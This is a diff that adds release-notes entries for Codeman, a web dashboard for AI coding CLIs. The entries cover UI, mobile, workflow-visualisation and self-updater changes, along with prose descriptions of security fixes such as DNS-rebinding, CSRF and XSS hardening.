+  - Removed the old collapse-to-header behavior that the "−" button previously triggered (now superseded by minimize-to-tab).
+
+## 1.1.13
+
+### Patch Changes
+
+- Keep the `/compact` button in the extended (full) mobile keyboard accessory bar; only the simple bar drops it. (1.1.12 had removed it from both.)
+
+## 1.1.12
+
+### Patch Changes
+
+- Remove the `/compact` button from the mobile keyboard accessory bar. It had been reintroduced in 1.1.10; this removes the button from both the simple and full accessory-bar layouts (the underlying command handler is left in place as inert plumbing).
+
+## 1.1.11
+
+### Patch Changes
+
+- Ultracode (Workflow-tool) run visualization — much better live tracking.
+
+  While a run is in flight, the watcher previously showed empty agent slots ("agent N", 0 tokens, raw `wf_…` id as the title) because the detailed completion JSON only lands when the run finishes. The live path now enriches in-flight runs directly from the on-disk transcript tree:
+  - **Real per-agent stats mid-run** — tokens and tool-call counts are parsed from each `agent-<id>.jsonl` transcript (tool counts match the final accounting exactly; token totals land within ~1% of the completion value), with model and a prompt preview. All mtime-cached (transcripts, journal, and script meta) so idle polls do no extra reads.
+  - **Readable window/run title** — workflow name, summary, and phases are derived from the persisted `workflows/scripts/<name>-<runId>.js` instead of showing the raw run id.
+  - **Agent status colors** — done agents show green, working agents show yellow (this also fixes the run/agent status badges, which referenced undefined `--success`/`--warning` CSS variables and were rendering with no color).
+  - **Connector line** — the floating-window → session-tab line now uses the session-tab accent blue (was purple).
+  - **Click a run to open its floating window** — clicking a workflow in the dock panel opens (or focuses) its floating window with the connector line, in addition to the auto-popped windows.
+  - Agents are ordered by journal launch order; concurrent run-detail fetches are de-duplicated.
+
+## 1.1.10
+
+### Patch Changes
+
+- Mobile CJK input, iPad keyboard accessory bar, and terminal touch interaction fixes (PRs #130, #131).
+
+  Mobile / CJK (#130):
+  - Restore reliable real-time CJK (e.g. Pinyin) composition in the always-visible textarea, and refocus input when the terminal is tapped.
+  - Stop clearing the textarea during `compositionstart` — some IMEs include existing text in the composition region, and clearing it mid-composition corrupted input.
+  - iPad-specific fixes: `#cjkInput` positioning, paste-dialog placement, and duplicated voice-dictation output.
+  - Split CJK keyboard positioning by device size (phones vs iPad use different keyboard offsets).
+  - iPad accessory-bar styling/positioning: moved the accessory-bar and paste-overlay base styles out of the `max-width:1023px`-gated mobile stylesheet so iPad landscape (≥1024px) renders them correctly.
+  - Raise the toolbar stacking context while the case-settings popover is open so the popover is no longer hidden behind the toolbar.
+  - Restore the `/compact` button to the keyboard accessory bar (with double-tap confirmation, like `/clear`); the paste dialog now submits pasted text on "Send".
+
+  Terminal touch + forced redraw (#131):
+  - Enable terminal touch interaction on all touch devices and show the stop button on touch devices.
+  - Add an 8px tap threshold so micro-drift is treated as a tap, not a scroll, fixing cases where a tap failed to register.
+  - Tap-to-position the cursor via a synthesized mouse report, gated on the live mouse-tracking mode so it never triggers local text selection when tracking is off; let SGR mouse reports through to the PTY even while the CJK input field owns focus.
+  - Suppress the cursor/momentum side effects of a sub-threshold tap so a jittery tap no longer both positions the cursor and starts a momentum fling.
+  - New opt-in, per-device "Redraw Terminal" header button (`showRedrawButton`, default off) that forces an xterm redraw via a resize jitter to clear occasional rendering glitches; the resize path now accepts a `force` flag (threaded through the session, HTTP, and WebSocket resize routes) that guarantees a SIGWINCH/redraw at the current device's size without bypassing multi-client resize arbitration.
+
+## 1.1.9
+
+### Patch Changes
+
+- Two welcome-screen tunnel changes:
+  - **UI (Daylight Blue skin):** the **Cloudflare Tunnel** button is now purple (was orange/yellow), keeping the three welcome buttons visually distinct — Claude blue, Tunnel purple, OpenCode green.
+  - **Enable a tunnel without `CODEMAN_PASSWORD`, with a warning.** Previously enabling the Cloudflare tunnel with no password set was hard-refused unless you set `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`. Now you can opt in straight from the browser: clicking the tunnel toggle without a password pops a **security confirm dialog** ("publishes this machine to a public URL with no login — effectively remote code execution; set CODEMAN_PASSWORD instead"), and only on confirm does it enable, sending an explicit per-request `acknowledgeUnauthTunnel:true`. The server logs a loud warning whenever a passwordless public tunnel starts. curl/API/CLI callers are unchanged — still refused unless they set a password, set the env var, or pass `acknowledgeUnauthTunnel:true` — so nothing gets exposed accidentally. The acknowledgment is an action field and is never persisted to settings.json.
+
+## 1.1.8
+
+### Patch Changes
+
+- UI (Daylight Blue skin): give the welcome-screen action buttons distinct colors instead of all reading blue. **Run Claude Code** keeps the blue accent, **Cloudflare Tunnel** now uses Cloudflare's brand orange, and **Run OpenCode** uses an emerald green — so the three are visually distinguishable at a glance. Scoped to the default `daylight-blue` skin only (daylight-green and OG are unchanged), with matching hover/active states and dark ink for contrast. Verified in a real browser: the three buttons compute to blue / orange / green gradients on the welcome overlay.
+
+## 1.1.7
+
+### Patch Changes
+
+- Fix: terminal scroll-up (scrollback) intermittently breaking for **Claude** sessions — most visible on iPhone, where you suddenly "can't scroll up the Claude console."
+
+  Root cause: Claude Code periodically emits alternate-screen switches (`\x1b[?1049h`/`\x1b[?47h`/`\x1b[?1047h`), scrollback-erase (`\x1b[3J`), and mouse-tracking enables — typically when it draws a full-screen UI (pickers/dialogs, the boot welcome). xterm.js obeys these by moving to the scrollback-less alternate buffer (or wiping saved lines / hijacking the wheel), so the conversation history becomes unreachable until Claude returns to its normal view. Codeman already stripped these sequences so history stays scrollable, but the strip was gated to **Codex mode only** — Claude (and the equivalent buffer-replay path) let them through.
+
+  The strip is now shared via a single `isAltScreenStripMode(mode)` predicate (`codex || claude`) applied at BOTH sites that were Codex-only: the live PTY stream (`Session._handleTerminalOutput`, including the split-across-chunks carry reassembly) and the `/terminal` buffer replay used on tab-switch/reconnect. `shell` is deliberately excluded so full-screen TUIs run from a shell (vim/less/htop) keep their alternate screen; `opencode` is also unchanged.
+
+  Verified end-to-end on an isolated instance against a real Claude session: the replayed buffer and live stream now carry zero alt-screen/scrollback-erase/mouse sequences, the terminal stays in the normal buffer with scrollback intact, and touch swipe-up scrolls correctly. Covered by new unit tests (`test/claude-scrollback-strip.test.ts`); the existing Codex strip tests are unchanged.
+
+## 1.1.6
+
+### Patch Changes
+
+- Fix: ultracode floating run windows now pop on a fresh device/browser that loads while a run is already active.
+
+  `ultracodeFloatingWindows` syncs from the server (it's a non-display setting), but on a first-time device the SSE `getLightState` run snapshot can seed the run list BEFORE the async settings load resolves — so the floating-window gate read `false` at that instant and skipped any already-active run, leaving the window un-popped until the next ~10s watcher tick. The app now re-runs `syncAllUltracodeFloatingWindows()` once server settings finish loading (in the `loadAppSettingsFromServer().then()` callback), so an in-flight run pops its window immediately. Idempotent: open windows are left as-is, and if the setting is off any premature windows are torn down. Verified end-to-end against a real in-flight run on an isolated instance — a pristine browser (empty localStorage) seeds the setting from the server and pops the active run's window ~0.4s after first paint.
+
+  Also corrected a stale `@fileoverview` comment in `ultracode-windows.js` that claimed the floating windows are gated on `showUltracodeAgents`; they are gated on the dedicated `ultracodeFloatingWindows` toggle (only the docked "Ultracode Agents" panel uses `showUltracodeAgents`).
+
+## 1.1.5
+
+### Patch Changes
+
+- Fix: the Ultracode Agents panel's (×) Close button now fully hides the panel.
+
+  `closeUltracodeAgentsPanel()` only removed the `open` class, which drops the bottom-docked drawer to its collapsed _peek_ state (the 36px header strip stays visible) rather than closing it — so clicking (×) looked like it did nothing. It now also adds the `hidden` class (`display:none`), mirroring `closeSubagentsPanel()`. It deliberately does NOT flip the `showUltracodeAgents` setting (that also gates the run watcher and floating windows); the header launcher button reopens the panel. Verified in a real browser: after (×) the panel computes `display:none`.
+
+## 1.1.4
+
+### Patch Changes
+
+- Fix: ultracode floating run windows (and the live dock panel) now appear DURING an in-flight Workflow/ultracode run, not only after it finishes.
+
+  The Workflow runtime writes the run-state file `…/workflows/wf_<id>.json` only at completion (always a terminal status); while a run is live, its only on-disk state is the sibling `…/subagents/workflows/wf_<id>/` transcript tree. `workflow-run-watcher` previously scanned only the completion file, so it never observed a run until it was already terminal — and the floating-window auto-pop is gated on an ACTIVE run, so it never fired for a live run (the feature was effectively dead for in-flight runs).
+
+  The watcher now ALSO scans the `subagents/workflows/wf_<id>/` transcript tree and synthesizes a minimal ACTIVE run (status `running`, agent slots keyed by their `agentId` so the agent-card → live-transcript click still works, `lastActivityAt` from the newest agent/journal mtime, per-agent done/running derived from the run journal's `result` events) when no completion file exists yet. When the run finishes, the real `wf_<id>.json` supersedes the synthesized record (same runId), restoring full phase/token detail and the normal finish → 8s-grace auto-close flow. The watcher stays standalone (it never imports subagent-watcher). Verified end-to-end against a real in-flight run; adds unit coverage for live synthesis, agentId preservation, journal-derived state, empty-dir skipping, and completion-file precedence.
+
+## 1.1.3
+
+### Patch Changes
+
+- Ultracode floating run windows + a dedicated toggle to control them.
+  - **New: floating ultracode run windows.** When enabled, each active ultracode / Workflow run pops a small draggable window (like the file browser) connected by a glowing line to its originating session tab — the same connector-line idiom as subagent windows. The tab is resolved by matching the run's `sessionUuid` to a session's `claudeSessionId`. The window mirrors the live agent grid (phases, per-agent model / tokens burned / tool calls / state), auto-closes a few seconds after its run finishes, and remembers windows you explicitly dismiss so they don't re-pop. These windows are **additional to** the existing docked "Ultracode Agents" master-detail panel, which is unchanged.
+  - **New setting "Ultracode Floating Windows"** (App Settings → Display), **default OFF**, independent of the "Ultracode Agents" panel toggle. Either toggle now starts the server-side workflow-run watcher (at boot and on live settings change), so the floating windows work even with the docked panel off.
+  - Internals: new frontend module `ultracode-windows.js` (load order 15.5); ultracode connector lines are appended into the shared `#connectionLines` SVG within the existing batched read/write reflow pass in `subagent-windows.js`; new `ultracodeFloatingWindows` app-settings key in `schemas.ts`; watcher gating in `server.ts` + `system-routes.ts` now ORs both ultracode toggles.
+  - Docs: `CLAUDE.md` brought up to date for the 1.1.2 ultracode/workflow-run subsystem (Agents / Frontend / Types / Config inventories, JS load order, a Key Patterns entry) and the new floating-windows feature.
+
+## 1.1.2
+
+### Patch Changes
+
+- Ultracode/Workflow run visualization + subagent discovery fixes.
+  - **Ultracode / Workflow run visualization** (new, opt-in): App Settings → Display → "Ultracode Agents" (`showUltracodeAgents`, default OFF) adds a master-detail tab that shows ultracode / Workflow-tool runs like Claude Code's "working agents" view — the LEFT pane lists runs and their phases (selectable tasks), the RIGHT pane shows each run's agents with model, live state, tokens burned, and tool calls. Clicking an agent opens its live transcript. Backed by a new standalone workflow-run watcher that reads the per-run state JSON (stripping the heavy embedded script/result/logs so payloads stay small), exposes `GET /api/workflows` and `GET /api/workflows/:runId`, and broadcasts `workflow:run_discovered/updated/removed` SSE events. The header launcher and panel stay hidden until the setting is enabled (the setting is synced across devices, not per-device).
+  - **Subagent tracking discovery fix**: restored subagent tracking after Claude Code changed the on-disk format from `agent-*.jsonl` to `agent-*.meta.json` (background agents were showing 0). Also discovers workflow-nested subagents under `subagents/workflows/<wf>/` and hardens the meta→transcript upgrade path so an agent re-points to its `.jsonl` transcript once it appears.
+  - **File viewer**: opens audio, SVG, and other binary files the same way the attachments viewer does.
+  - **Tooling**: hardened the real-overview screenshot capture script and documented the `deviceScaleFactor` / static-cache gotchas.
+
+## 1.1.1
+
+### Patch Changes
+
+- Six reviewed contributor PRs (all adversarially reviewed and fixed before merge):
+  - **Markdown sanitizer hardened against mutation-XSS (#126).** The denylist `_sanitizeHtml` is replaced with vendored DOMPurify 3.4.8 (authentic, byte-matched to the official dist) wired via a new `sanitize-html.js` allowlist, with a fail-closed escape fallback. The curated allowlist is genuinely enforced (no `USE_PROFILES` override) so non-markdown tags and svg/math/style/script/event-handler/`javascript:` vectors are stripped while legitimate markdown survives.
+  - **Hook-event secret now required unconditionally (#127).** The `/api/hook-event` + `/api/status-telemetry` localhost bypass requires the per-instance hook secret whether or not a managed tunnel is running, closing the own-loopback-reverse-proxy gap. A self-heal refreshes pre-secret hook configs in existing cases on spawn so password-protected installs don't silently 401 their hooks. No-password loopback installs are unaffected.
+  - **`codeman doctor` dependency checker (#125).** New `doctor`/`check-deps` command probes Node, the agent CLIs, tmux, and document converters per environment (linux/darwin/win32/wsl), with grouped or `--json` output and a non-zero exit when a required tool is missing. Requires Node 22+, reports `pdftoppm` (used for PDF/Office thumbnails), and validates `--category`.
+  - **macOS Option / physical-key session shortcuts (#129).** Tab switching matches physical key codes (`e.code`) so Option+1–9 works on macOS layouts that remap Option, plus Option/Alt+`[`/`]` for previous/next session — without leaking escape sequences into the focused terminal.
+  - **Desktop session tabs auto-wrap to a second row on overflow (#128)** instead of horizontal scrolling (off when the manual two-row layout is pinned; mobile/tablet unchanged), re-evaluated on window resize.
+  - **CJK input textarea hidden on the welcome screen (#123)** so it no longer floats over the welcome overlay, and re-shown on session entry; vertical centering fixed.
+
+## 1.1.0
+
+### Minor Changes
+
+- **Plan Usage Limits chip (new).** A header chip now shows your live Claude plan usage — the 5-hour and weekly windows as a percentage — parsed from Claude Code's statusLine telemetry (CLI v2.1.80+). It's opt-in via **App Settings → Display → "Plan Usage Limits"** (default OFF). The toggle is **per-device**: turn it on at your desk without it appearing on your phone. Telemetry collection is decoupled from display, so one device's preference never affects another's, and the last-known value replays instantly on reconnect. Distinct from auto-resume (which reacts to the limit _message_) — this proactively shows the live %.
+
+  **Attachments.** New attachment history drawer to browse files referenced by a session (COD-39), plus document previews and thumbnails on attachment cards (COD-38). The header **Attachments button is now opt-in** (default OFF) via **App Settings → Display → "Attachments Button"**, per-device like the Response Viewer button.
+
+  **Settings & models.** Added Opus 4.6 options to the Claude Model picker. Removed the legacy Token Count / Show Cost header toggles and moved Plan Usage Limits to the top of the Display settings. Slimmed the Skin picker control to match its row.
+
+  **Mobile & header polish.** Restored the response-viewer (eye) button on phones; kept the phone header minimal (settings gear + lifecycle log stay in the toolbar). Added two regression guards so header controls can't silently leak onto the mobile header again — a CI-runnable static policy check plus a real-browser E2E test.
+
+## 1.0.0
+
+### Major Changes
+
+- # Codeman 1.0.0 🎉
+
+  The first stable release of Codeman — and it comes with a fresh new look.
+
+  **New: theme skins.** Codeman now ships a built-in skin switcher (App Settings → Display → Appearance):
+  - **OG Codeman** — the original look, preserved exactly.
+  - **Daylight Green** — a fresh emerald-on-slate theme.
+  - **Daylight Blue** — bright sky-blue on lifted slate (the new default).
+
+  Skins apply instantly, persist per device (with a pre-paint script so there's no flash on load), and re-theme any open terminals live. The system is built on `html[data-skin]` design tokens and self-hosted Manrope (UI) + JetBrains Mono (terminal) fonts — no external CDN, CSP-safe.
+
+  **1.0.0 milestone.** This marks the start of the stable 1.x line: the CLI, documented environment variables, and the `{ success, data }` HTTP/SSE API envelope follow semantic versioning (see `docs/versioning-policy.md`).
+
+  **Thank you to everyone who helped build Codeman.** This release is dedicated to all of our contributors for their work on the project: Ark0N, Aamer Akhter (@aakhter), Tenggan Zhang (@TeigenZhang), zhouyuan / @sunnyzhouy, jaypark, Marco Migozzi, Skúli Arnlaugsson, Aaron Fields, Loïc Sculier, and Noah Waldner (@noahwaldner). 💙
+
+## 0.9.14
+
+### Patch Changes
+
+- Security hardening for the tunnel exposure path, Codex terminal rendering fixes, and a mobile modal fix.
+
+  **Security (PR #115, COD-54/COD-55):**
+  - `/api/hook-event` localhost bypass is now gated while the managed Cloudflare tunnel is running: tunneled traffic arrives with a loopback source IP, so the bypass additionally requires a per-instance shared secret (`X-Codeman-Hook-Secret`, 256-bit, `~/.codeman/hook-secret`, mode 0600). Locally generated hook commands read the secret file at execution time via `$CODEMAN_HOOK_SECRET_FILE` (exported into every managed session's environment), so the value never lands on command lines or in case configs, and running sessions pick up a new secret without respawn. Failed presentations rate-limit in a dedicated per-IP bucket so misfiring legacy hooks can never lock out the Basic-Auth login path. With no tunnel running, behavior is unchanged.
+  - Enabling the Cloudflare tunnel now **refuses with 403** when no `CODEMAN_PASSWORD` is set (a public tunnel URL with no auth is effectively public RCE), unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` explicitly acknowledges the exposure. The settings UI surfaces the refusal as an error toast and reverts the toggle.
+
+  **Codex rendering (PRs #116, #117):**
+  - Alt-screen toggles (`?47/?1047/?1049`), scrollback-erase (`CSI 3 J`), and mouse-tracking enables (`?1000`–`?1007`) are stripped from the Codex byte stream (live + replay), so conversation history survives tab switches and the scroll wheel scrolls the viewport instead of being hijacked. Sequences split across PTY chunk boundaries are reassembled via a small carry before stripping, so a split `?1049h` can no longer trap xterm in the scrollback-less alt buffer.
+  - Smaller 32KB first-frame write budget for Codex sessions keeps dense synchronized redraws from stalling the renderer; a 1.5s grace window after a manual scroll-up suppresses sticky-scroll so high-frequency `• Working (Ns)` status ticks no longer snap the viewport back to the bottom while reading earlier output.
+
+  **Mobile:** session-options modal raised above the fixed mobile/tablet header (z-index 1300 vs 1200) so the close button is reachable on phones; Respawn tab controls regrouped.
+
+  **Docs:** security-architecture.md updated for the secret-gated hook bypass (including the external-proxy caveat) and the tunnel password guard; README documents auto-resume on usage limit.
+
+## 0.9.13
+
+### Patch Changes
+
+- Auto-resume on usage limit ("token pause" control) plus a set of mobile-view fixes for regressions introduced in 0.9.8.
+
+  **Auto-resume on usage limit** — new opt-in checkbox at the top of the session Respawn tab (off by default). When Claude stops because a usage limit was reached, Codeman parses the reset time from the limit message, waits until the limit lifts (plus a 2-minute safety buffer), then dismisses the rate-limit dialog (Esc) and sends "continue" so the session picks its work back up automatically. All Claude Code message formats from 1.0.x through 2.1.x are recognized ("5-hour limit reached ∙ resets 8pm", "Limit reached · resets 1pm (America/Chicago) · /upgrade…", "You've hit your weekly limit · resets Mon 12:00am", weekly date forms, and the raw API `usage limit reached|<epoch>` form). Still-limited responses re-arm the scheduler (5-minute retry loop); a pending schedule persists across Codeman restarts and re-arms on boot; respawn cycles are blocked while a limit pause is active so the cycle's `/clear` cannot wipe the paused conversation. New endpoint `POST /api/sessions/:id/auto-resume`; new SSE events `session:limitPauseScheduled`, `session:limitResume`, `session:limitResumeCancelled`; toast/notification on pause and resume, plus a live "resumes at HH:MM" status line in the modal. The Respawn tab layout was also tidied: compact single-row Update/Kickstart prompt fields and a merged options row.
+
+  **Mobile fixes (0.9.8 regressions)**:
+  - **Activity-based resize arbitration** — a desktop sizing claim now only blocks a phone's resize while that desktop has actually typed within the last 90 seconds. Previously any connected desktop tab (even one abandoned hours ago) silently discarded the phone's resize with no fallback, leaving the phone rendering a desktop-width stream in a narrow terminal: mid-word wraps, tmux dot-fill rows, overdrawn garbled text, and misplaced keyboard echo. Now an idle desktop yields the pane to the phone, and the next desktop keystroke automatically restores the desktop layout ("whoever is actively using the session wins"). Phones also re-send their dimensions every 30 seconds (visible tab only, skipped while the virtual keyboard is open) so attaching under a momentarily-active desktop self-corrects.
+  - **Keyboard accessory bar and toolbar restored on iOS** — the lift offset is measured against the layout viewport (`window.innerHeight`) again instead of the keyboard-shrunken app element; on iOS the offset computed to 0, leaving both bars hidden behind the OS keyboard with a dead black gap above it.
+  - **Removed the mobile header utility ("three dots") toggle** — the header-utilities tray stays collapsed on small viewports.
+
+## 0.9.12
+
+### Patch Changes
+
+- Documentation refresh — README catches up with the Codex run mode, plus a CLAUDE.md correction.
+
+  **README (en + zh-CN)**: Codex is now listed as a third supported AI coding CLI everywhere the docs previously said "Claude Code or OpenCode": the install requirement in Quick Start (now "any combination works", linking to the official Codex CLI docs), the Windows/WSL setup note, the renamed **Multi-CLI** feature bullet (env-prefix gating now reads `CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`), the Zod schema-validation security bullet, and the architecture mermaid diagram. The header tagline was also finalized to "Claude Code • OpenCode • Codex — One Dashboard • Any Device" in both languages.
+
+  **CLAUDE.md**: fixed a stale "Local packages" line that claimed the xterm-zerolag-input local-echo overlay had a copy embedded in `app.js` — it is single-source in `packages/xterm-zerolag-input/`, bundled to the gitignored vendor file, and only consumed by `app.js`, matching the existing single-source gotcha.
+
+## 0.9.11
+
+### Patch Changes
+
+- Fix a terminal freeze on hover (catastrophic regex backtracking) and a CSP violation that disabled the terminal's anti-throttling worker.
+
+  **Tab-freezing hover bug**: the terminal link provider's `cmdPattern` (which turns `tail -f /path`-style text into clickable links) used an empty-matchable, unbounded arg group — `(?:[^\s\/]*\s+)*` — that backtracks exponentially on real Claude output, e.g. wrapped `git commit -m "$(cat <<'EOF'` heredoc lines or aligned table rows. Hovering the mouse over such a line hung the page's main thread for minutes ("page unresponsive"). The pattern now uses non-empty tokens with bounded repetition (linear time); all intended command+path link forms still match. New `test/link-provider-regex.test.ts` extracts the shipped patterns from source and pins linear-time behavior on the killer line shapes.
+
+  **Blob worker CSP fix**: `worker-src 'self' blob:` is now always present in the CSP (previously only with `CODEMAN_GESTURE=1`). The terminal's `_safeYield` anti-throttling tick worker is created from a Blob URL and was silently blocked on every install, logging a CSP violation on each page load and disabling the worker leg of the render-yield fallback chain.
+
+## 0.9.10
+
+### Patch Changes
+
+- Self-update now restarts automatically on headless Macs supervised by a system LaunchDaemon.
+
+  New `launchd-daemon` supervisor kind: when Codeman runs under a bootstrapped, KeepAlive system-level LaunchDaemon (`/Library/LaunchDaemons/com.codeman.web.plist` — the right setup for headless Macs, where LaunchAgents never start because there is no GUI login), the updater no longer ends with "Update staged — restart Codeman to apply". It restarts rootlessly: the update script kills the server PID (passed via `--server-pid`) and launchd respawns it on the freshly built `dist/`. Detection is conservative — the daemon must be bootstrapped in the system domain AND have `KeepAlive` enabled.
+
+  Also fixed: a lingering "restart Codeman to apply" status. After a manual restart of a staged update, boot reconciliation now flips `completed-needs-manual-restart` to `completed` once the running version matches the staged target, so the Updates tab stops showing the stale instruction.
+
+## 0.9.9
+
+### Patch Changes
+
+- Codex (OpenAI CLI) run mode, Claude Model picker, and response-viewer button now opt-in.
+
+  **Codex (OpenAI CLI) run mode** (#114): new `codex` session mode alongside Claude Code and OpenCode. Sessions launch the Codex CLI via tmux with secrets injected through `tmux setenv` (`OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` — never on the command line). Supports `--model`, `resume <id>`, and `--dangerously-bypass-approvals-and-sandbox` via the `codexConfig` payload or the new App Settings → Codex CLI tab (`codexDangerouslyBypassApprovals`). Availability surfaced at `GET /api/codex/status` with an install hint when the binary is missing. Frontend gets a "Run CX" run-mode option; Respawn/Ralph options stay Claude-only (session options open on the Summary tab for external-CLI sessions). `CODEX_*` env prefix added to the env-override allowlist.
+
+  **Claude Model picker**: App Settings → Claude CLI gains a "Claude Model" select (`claudeModel` setting) that pins the model for new Claude sessions via the case's `.claude/settings.local.json` — e.g. Fable 5 (1M context), Fable 5, Opus (1M), Opus, Sonnet, Haiku. It takes precedence over the legacy 1M Opus Context toggle. Fable 5 also added to the orchestrator default/phase model dropdowns.
+
+  **Response-viewer (eye) header button is now hidden by default** — existing users who relied on it can re-enable it under App Settings → Display → Response Viewer (`showResponseViewer`, per-device setting). A new Display toggle controls its visibility.
+
+  Also: tests made immune to a set `CODEMAN_GESTURE` env var; CLAUDE.md documents the Codex run mode and the eye-button toggle.
+
+## 0.9.8
+
+### Patch Changes
+
+- Stable HTTP contract, terminal pane-buffer rework, mobile/touch fixes, and fresh-install default cleanups.
+
+  **API / v1 readiness (PR #113)**
+  - Stable HTTP contract: uniform `{success, data}` / `{success: false, error, errorCode}` response envelope across all ~134 handlers, correct HTTP status codes, and a versioned `/api/v1/*` alias of `/api/*`
+  - Post-merge adversarial audit closed 9 contract gaps (envelope/status-code stragglers), incl. `loadQuickStartCases` double-unwrap
+  - Node.js floor raised to >=22; `codeman` bin alias installed alongside `aicodeman`
+  - Security hardening: SSRF guard on the push endpoint, tmux session-name validation, documented tail-file roots
+  - Governance: SECURITY.md and a SemVer versioning policy (docs/versioning-policy.md)
+  - CI now runs the full unit/integration suite (vitest.ci.config.ts) plus a frontend JS syntax gate
+
+  **Terminal (PR #112)**
+  - tmux pane-buffer primitives and session/render reliability fixes for the terminal pipeline, with re-review findings addressed
+
+  **Mobile / touch (PR #111)**
+  - Terminal and layout fixes for touch devices: desktop focus handling, WS resize-claim wiring, CJK setting, ESC passthrough
+  - New: Esc button in the simple (default) keyboard accessory bar, next to paste — sends a real ESC to the session
+
+  **Defaults & UI**
+  - Monitor panel is now disabled by default on fresh installs (desktop previously slid it open at startup; mobile was already off). Opt in via App Settings -> Show Monitor
+  - Fixed the session-tab task badge silently failing to open the Monitor panel when it was hidden by the setting (long-broken on mobile)
+  - Local echo defaults audited and confirmed per-device: off on desktop, on for touch devices, never server-synced
+
+## 0.9.7
+
+### Patch Changes
+
+- Fix installer failure on corrupt puppeteer cache + add Simplified Chinese README.
+  - **Installer / self-update reliability**: The universal installer (`install.sh`) and the in-app self-updater (`scripts/self-update.sh`) now set `PUPPETEER_SKIP_DOWNLOAD=1` before `npm install`. `puppeteer` is a devDependency used only by `scripts/browser-comparison.mjs`; its ~150MB `chrome-headless-shell` download is never needed to build or run Codeman. Previously, a partially-downloaded browser cache (folder present, executable missing) made puppeteer refuse to re-download and abort `npm install`, which failed the entire install/update — most visibly on macOS (`mac_arm`). The download is now skipped on both paths; callers can still opt back in with `PUPPETEER_SKIP_DOWNLOAD=0`.
+  - **Docs**: Added a Simplified Chinese translation of the README (`README.zh-CN.md`) with an English/中文 language switcher in `README.md`. Refreshed the README and documented the v0.9.5 security hardening (Host-header/DNS-rebinding guard, cross-site Origin/CSRF guard, anti-CSWSH WebSocket validation).
+
+## 0.9.6
+
+### Patch Changes
+
+- Self-updater: show live progress during the slow steps so an update no longer looks frozen.
+  - The detached update runner (`scripts/self-update.sh`) now emits a heartbeat every few seconds during `npm install` and `npm run build`, refreshing the update status with the latest output line (full output is still written to the update log).
+  - App Settings → Updates now shows the live status message plus a ticking elapsed-time counter during non-terminal phases, instead of only a static phase label.
+
+  This takes effect when updating _from_ a build that includes it — the detached runner script and the polling UI are both the from-version's copies.
+
+## 0.9.5
+
+### Patch Changes
+
+- Security hardening from the 2026-06-09 adversarial review — close the remote-exploit paths that affected the default (loopback + no-password) configuration. Full report: `docs/reports/security-review-2026-06-09.md`.
+  - **Anti-DNS-rebinding Host allowlist (always on).** A new request guard rejects requests whose `Host` is a custom domain rebound to a loopback/LAN address — previously a website the operator merely visited could DNS-rebind to `127.0.0.1` and drive the entire API (arbitrary command execution, since sessions run `--dangerously-skip-permissions`). The allowlist accepts `localhost`, any bare IP literal, the bind host, `*.ts.net` / `*.trycloudflare.com` / `*.cfargotunnel.com`, the active managed tunnel, and anything in the new `CODEMAN_ALLOWED_HOSTS` env var (comma-separated; `host` or leading-dot `.suffix`).
+  - **Cross-site (CSRF) Origin guard on all state-changing requests.** Forged cross-site requests are rejected; a missing `Origin` is allowed so `curl`/CLI automation and Claude Code hooks keep working. This closes the previously CSRF-triggerable self-update, session create/input, and settings/tunnel-toggle endpoints.
+  - **`text/plain` body parser no longer JSON-parses every request body** (which let a cross-site "simple request" submit JSON with no CORS preflight). The crash-diagnostics beacon now parses its own body.
+  - **WebSocket terminal upgrade now validates `Origin`/`Host`** (blocks cross-site WebSocket hijacking that could inject keystrokes into a running agent).
+  - **Stored-XSS fix:** AI-/transcript-derived fields (tool name, tool detail, tool id, hook text) in the subagent activity panel are now HTML-escaped.
+
+  Operational note: if you front Codeman with a custom reverse-proxy domain, allow it via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. Setting `CODEMAN_PASSWORD` also fully mitigates these via the existing auth hook.
+
+## 0.9.4
+
+### Patch Changes
+
+- In-app self-updater, plus the SSE-registry and security-doc changes since 0.9.3.
+
+  **New: update Codeman from the web UI (App Settings → Updates).** A "Check for updates" button asks the server to query GitHub for the latest tagged release (falling back to `git ls-remote`) and shows its release notes; "Update now" then runs the full `git checkout <tag>` → `npm install` → `npm run build` → restart cycle and streams live progress that survives the service restart (the browser polls a status file across the connection drop).
+  - **Channel:** latest tagged release (e.g. `codeman@0.9.4`), not bleeding-edge master.
+  - **Dirty working trees are auto-stashed** (`git stash`, left for you to `git stash pop`) instead of discarded.
+  - **Cross-platform restart**, detected from the running process: systemd (`systemctl --user restart codeman-web`) on Linux, launchd (`launchctl kickstart`) on macOS, or a printed manual command otherwise.
+  - **Survives its own restart:** the updater runs detached in a transient `systemd-run --user --scope` (Linux) or `setsid` session (macOS), so the restart it triggers cannot kill the build mid-flight.
+  - **Safety:** build failure rolls back to the pre-update commit (never restarts into a half-built `dist/`); the pre-restart status marker is reconciled on boot with an update-id + freshness guard so a normal reboot is not misreported as a completed update; concurrent updates are rejected (409); the runner script is staged outside the repo so `git checkout` cannot corrupt it mid-run; release tags are strictly validated before reaching the shell; `CODEMAN_DISABLE_SELF_UPDATE=1` disables the feature; non-git (npm-global) installs are detected and pointed at `npm i -g aicodeman@latest`.
+  - New endpoints: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`.
+
+  **Also in this release:**
+  - Sync the frontend `SSE_EVENTS` registry (`constants.js`) with the backend `sse-events.ts` so every broadcast event has a matching frontend entry.
+  - Expand `docs/security-architecture.md` with the trust model, CSP detail, and a source-file map.
+
+## 0.9.3
+
+### Patch Changes
+
+- Installer security notice + clarify gesture control stays opt-in and default-off.
+  - **Installer:** `install.sh` now prints the network-security notice as the final block of both the fresh install (one-line `curl … | bash`) and the update flow, so it stays visible to the user: Codeman binds `127.0.0.1` by default (no password needed), and the safe ways to reach it remotely (`tailscale serve` / tunnel, or `--host 0.0.0.0` + `CODEMAN_PASSWORD`), noting a non-loopback bind without a password still starts but warns loudly.
+  - **Gesture control** is **disabled by default** and is enabled only by the per-user toggle at App Settings → Display → Input → Gesture Control (`gestureControlEnabled`, default `false`). Setting `CODEMAN_GESTURE=1` on the server only makes the feature _available_ (CSP widening + same-origin `/gesture/` assets); it does **not** turn the overlay on. There is no default-on path — the bundle is injected only when a user explicitly enables the setting.
+
+## 0.9.2
+
+### Patch Changes
+
+- Vendor the gesture-control source into the repo for in-tree development.
+
